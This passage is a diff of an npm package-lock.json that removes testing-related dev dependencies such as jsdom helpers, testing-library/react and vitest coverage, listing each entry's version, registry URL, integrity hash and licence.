"node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz", - "integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@testing-library/react": { - "version": "16.3.3", - "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.3.tgz", - "integrity": "sha512-Uo193NgQbPMz6lrrhtRQQFcMC6Re/ELLFbbuVL30WDlZxlpZf9/lMHTAVxPRLw1q1iu9OJmR1c2BLiENRstdBg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.12.5" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@testing-library/dom": "^10.0.0", - "@types/react": "^18.0.0 || ^19.0.0", - "@types/react-dom": "^18.0.0 || ^19.0.0", - "react": "^18.0.0 || ^19.0.0", - "react-dom": "^18.0.0 || ^19.0.0" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, "node_modules/@tiptap/core": { "version": "3.31.3", "resolved": "https://registry.npmjs.org/@tiptap/core/-/core-3.31.3.tgz", @@ -5927,16 +5831,6 @@ "yjs": "^13.5.38" } }, - "node_modules/@tootallnate/once": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.1.tgz", - "integrity": "sha512-HqmEUIGRJ5fSXchkVgR5F7qn48bDBzv0kWj/Kfu5e6uci4UlEeng4331LnBkWffb++Ei3FOVLxo8JJWMFBDMeQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 10" - } - }, "node_modules/@tybys/wasm-util": { "version": "0.10.4", "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.4.tgz", @@ -5948,14 +5842,6 @@ "tslib": "^2.4.0" } }, - "node_modules/@types/aria-query": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz", - "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==", - "dev": true, - "license": "MIT", - "peer": true - }, "node_modules/@types/chai": { "version": "5.2.3", "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", @@ -6759,37 +6645,6 @@ "vite": "^4 || ^5 || ^6 || ^7" } }, - "node_modules/@vitest/coverage-v8": { - "version": "4.1.12", - "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.12.tgz", - "integrity": "sha512-6S7/iVknKglLAxMFxQGNppBI0iqJS2NgM6FBxavitj7KaDq/vywOWGf6dGu7F2L1Qy0G6S3uTp7aGshHrzK8JA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@bcoe/v8-coverage": "^1.0.2", - "@vitest/utils": "4.1.12", - "ast-v8-to-istanbul": "^1.0.0", - "istanbul-lib-coverage": "^3.2.2", - "istanbul-lib-report": "^3.0.1", - "istanbul-reports": "^3.2.0", - "magicast": "^0.5.2", - "obug": "^2.1.1", - "std-env": "^4.0.0-rc.1", - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "@vitest/browser": "4.1.12", - "vitest": "4.1.12" - }, - "peerDependenciesMeta": { - "@vitest/browser": { - "optional": true - } - } - }, "node_modules/@vitest/expect": { "version": "4.1.12", "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.12.tgz", @@ -6919,14 +6774,6 @@ "node": ">=10.0.0" } }, - "node_modules/abab": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", - "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==", - "deprecated": "Use your platform's native atob() and btoa() methods instead", - "dev": true, - "license": "BSD-3-Clause" - }, "node_modules/acorn": { "version": "8.18.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.18.0.tgz", @@ -6940,17 +6787,6 @@ "node": ">=0.4.0" } }, - "node_modules/acorn-globals": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-7.0.1.tgz", - "integrity": "sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "acorn": "^8.1.0", - "acorn-walk": "^8.0.2" - } - }, "node_modules/acorn-jsx": { "version": "5.3.2", "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", @@ -6961,19 +6797,6 @@ "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, - "node_modules/acorn-walk": { - "version": "8.3.5", - "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.5.tgz", - "integrity": "sha512-HEHNfbars9v4pgpW6SO1KSPkfoS0xVOM/9UzkJltjlsHZmJasxg8aXkuZa7SMf8vKGIBhpUsPluQSqhJFCqebw==", - "dev": true, - "license": "MIT", - "dependencies": { - "acorn": "^8.11.0" - }, - "engines": { - "node": ">=0.4.0" - } - }, "node_modules/agent-base": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", @@ -7022,17 +6845,6 @@ "url": "https://github.com/sponsors/epoberezkin" } }, - "node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "peer": true, - "engines": { - "node": ">=8" - } - }, "node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", @@ -7068,16 +6880,6 @@ "node": ">=10" } }, - "node_modules/aria-query": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", - "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "dequal": "^2.0.3" - } - }, "node_modules/assertion-error": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", @@ -7088,25 +6890,6 @@ "node": ">=12" } }, - "node_modules/ast-v8-to-istanbul": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/ast-v8-to-istanbul/-/ast-v8-to-istanbul-1.0.5.tgz", - "integrity": "sha512-UPAgKJFSEGMWSDr3LX4tqnAb4f7KGT8O40Tyx8wbYmmZ/yn58lNCm8h3svs3eXgiGd5AXxz8NDOvXWvicq+rJA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/trace-mapping": "^0.3.31", - "estree-walker": "^3.0.3", - "js-tokens": "^10.0.0" - } - }, - "node_modules/ast-v8-to-istanbul/node_modules/js-tokens": { - "version": "10.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-10.0.0.tgz", - "integrity": "sha512-lM/UBzQmfJRo9ABXbPWemivdCW8V2G8FHaHdypQaIy523snUjog0W71ayWXTjiR+ixeMyVHN2XcpnTd/liPg/Q==", - "dev": true, - "license": "MIT" - }, "node_modules/async-mutex": { "version": "0.5.0", "resolved": "https://registry.npmjs.org/async-mutex/-/async-mutex-0.5.0.tgz", @@ -7116,13 +6899,6 @@ "tslib": "^2.4.0" } }, - "node_modules/asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", - "dev": true, - "license": "MIT" - }, "node_modules/bail": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", @@ -7234,20 +7010,6 @@ "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" } }, - "node_modules/call-bind-apply-helpers": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, "node_modules/callsites": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", @@ -7423,19 +7185,6 @@ "dev": true, "license": "MIT" }, - "node_modules/combined-stream": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - "dev": true, - "license": "MIT", - "dependencies": { - "delayed-stream": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, "node_modules/comma-separated-tokens": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz", @@ -7532,13 +7281,6 @@ "utrie": "^1.0.2" } }, - "node_modules/css.escape": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz", - "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==", - "dev": true, - "license": "MIT" - }, "node_modules/cssesc": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", @@ -7552,33 +7294,6 @@ "node": ">=4" } }, - "node_modules/cssom": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz", - "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==", - "dev": true, - "license": "MIT" - }, - "node_modules/cssstyle": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", - "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", - "dev": true, - "license": "MIT", - "dependencies": { - "cssom": "~0.3.6" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/cssstyle/node_modules/cssom": { - "version": "0.3.8", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", - "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==", - "dev": true, - "license": "MIT" - }, "node_modules/csstype": { "version": "3.2.3", "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", @@ -7772,21 +7487,6 @@ "node": ">=12" } }, - "node_modules/data-urls": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz", - "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "abab": "^2.0.6", - "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0" - }, - "engines": { - "node": ">=12" - } - }, "node_modules/date-fns": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-3.6.0.tgz", @@ -7814,13 +7514,6 @@ } } }, - "node_modules/decimal.js": { - "version": "10.6.0", - "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", - "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", - "dev": true, - "license": "MIT" - }, "node_modules/decimal.js-light": { "version": "2.5.1", "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz", @@ -7863,16 +7556,6 @@ "node": ">=0.10.0" } }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, "node_modules/dequal": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", @@ -7949,14 +7632,6 @@ "integrity": "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg==", "license": "MIT" }, - "node_modules/dom-accessibility-api": { - "version": "0.5.16", - "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", - "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==", - "dev": true, - "license": "MIT", - "peer": true - }, "node_modules/dom-helpers": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", @@ -7967,20 +7642,6 @@ "csstype": "^3.0.2" } }, - "node_modules/domexception": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz", - "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", - "deprecated": "Use your platform's native DOMException instead", - "dev": true, - "license": "MIT", - "dependencies": { - "webidl-conversions": "^7.0.0" - }, - "engines": { - "node": ">=12" - } - }, "node_modules/dompurify": { "version": "3.4.17", "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.17.tgz", @@ -8012,21 +7673,6 @@ "underscore": "^1.13.1" } }, - "node_modules/dunder-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.1", - "es-errors": "^1.3.0", - "gopd": "^1.2.0" - }, - "engines": { - "node": ">= 0.4" - } - }, "node_modules/e2e": { "version": "0.17.0", "resolved": "https://registry.npmjs.org/e2e/-/e2e-0.17.0.tgz", @@ -8197,39 +7843,6 @@ "node": ">=10.13.0" } }, - "node_modules/entities": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", - "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.12" - }, - "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" - } - }, - "node_modules/es-define-property": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-errors": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, "node_modules/es-module-lexer": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.2.tgz", @@ -8237,35 +7850,6 @@ "dev": true, "license": "MIT" }, - "node_modules/es-object-atoms": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", - "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", - "dev": true, - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-set-tostringtag": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", - "dev": true, - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.6", - "has-tostringtag": "^1.0.2", - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, "node_modules/esbuild": { "version": "0.28.2", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.2.tgz", @@ -8331,28 +7915,6 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/escodegen": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", - "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "esprima": "^4.0.1", - "estraverse": "^5.2.0", - "esutils": "^2.0.2" - }, - "bin": { - "escodegen": "bin/escodegen.js", - "esgenerate": "bin/esgenerate.js" - }, - "engines": { - "node": ">=6.0" - }, - "optionalDependencies": { - "source-map": "~0.6.1" - } - }, "node_modules/eslint": { "version": "9.39.5", "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", @@ -8485,24 +8047,10 @@ "url": "https://opencollective.com/eslint" } }, - "node_modules/esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "dev": true, - "license": "BSD-2-Clause", - "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/esquery": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", - "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", + "node_modules/esquery": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", + "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", "dev": true, "license": "BSD-3-Clause", "dependencies": { @@ -8732,23 +8280,6 @@ "dev": true, "license": "ISC" }, - "node_modules/form-data": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", - "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.8", - "es-set-tostringtag": "^2.1.0", - "hasown": "^2.0.4", - "mime-types": "^2.1.35" - }, - "engines": { - "node": ">= 6" - } - }, "node_modules/formatly": { "version": "0.7.1", "resolved": "https://registry.npmjs.org/formatly/-/formatly-0.7.1.tgz", @@ -8808,16 +8339,6 @@ "node": "^8.16.0 || ^10.6.0 || >=11.0.0" } }, - "node_modules/function-bind": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/gensync": { "version": "1.0.0-beta.2", "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", @@ -8828,31 +8349,6 @@ "node": ">=6.9.0" } }, - "node_modules/get-intrinsic": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "es-define-property": "^1.0.1", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.1.1", - "function-bind": "^1.1.2", - "get-proto": "^1.0.1", - "gopd": "^1.2.0", - "has-symbols": "^1.1.0", - "hasown": "^2.0.2", - "math-intrinsics": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/get-nonce": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz", @@ -8862,20 +8358,6 @@ "node": ">=6" } }, - "node_modules/get-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - "dev": true, - "license": "MIT", - "dependencies": { - "dunder-proto": "^1.0.1", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - } - }, "node_modules/get-tsconfig": { "version": "4.14.3", "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.14.3.tgz", @@ -8972,19 +8454,6 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/gopd": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/graceful-fs": { "version": "4.2.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", @@ -9002,35 +8471,6 @@ "node": ">=8" } }, - "node_modules/has-symbols": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-tostringtag": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", - "dev": true, - "license": "MIT", - "dependencies": { - "has-symbols": "^1.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/hash.js": { "version": "1.1.7", "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz", @@ -9041,19 +8481,6 @@ "minimalistic-assert": "^1.0.1" } }, - "node_modules/hasown": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", - "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", - "dev": true, - "license": "MIT", - "dependencies": { - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, "node_modules/hast-util-to-jsx-runtime": { "version": "2.3.6", "resolved": "https://registry.npmjs.org/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.6.tgz", @@ -9094,26 +8521,6 @@ "url": "https://opencollective.com/unified" } }, - "node_modules/html-encoding-sniffer": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", - "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", - "dev": true, - "license": "MIT", - "dependencies": { - "whatwg-encoding": "^2.0.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/html-escaper": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", - "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", - "dev": true, - "license": "MIT" - }, "node_modules/html-parse-stringify": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/html-parse-stringify/-/html-parse-stringify-3.1.0.tgz", @@ -9153,21 +8560,6 @@ "node": ">=8.0.0" } }, - "node_modules/http-proxy-agent": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", - "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@tootallnate/once": "2", - "agent-base": "6", - "debug": "4" - }, - "engines": { - "node": ">= 6" - } - }, "node_modules/https-proxy-agent": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", @@ -9214,19 +8606,6 @@ "node": ">=20.0.0" } }, - "node_modules/iconv-lite": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - "dev": true, - "license": "MIT", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/ignore": { "version": "5.3.2", "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", @@ -9270,16 +8649,6 @@ "node": ">=0.8.19" } }, - "node_modules/indent-string": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", - "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, "node_modules/inherits": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", @@ -9392,13 +8761,6 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/is-potential-custom-element-name": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", - "integrity": 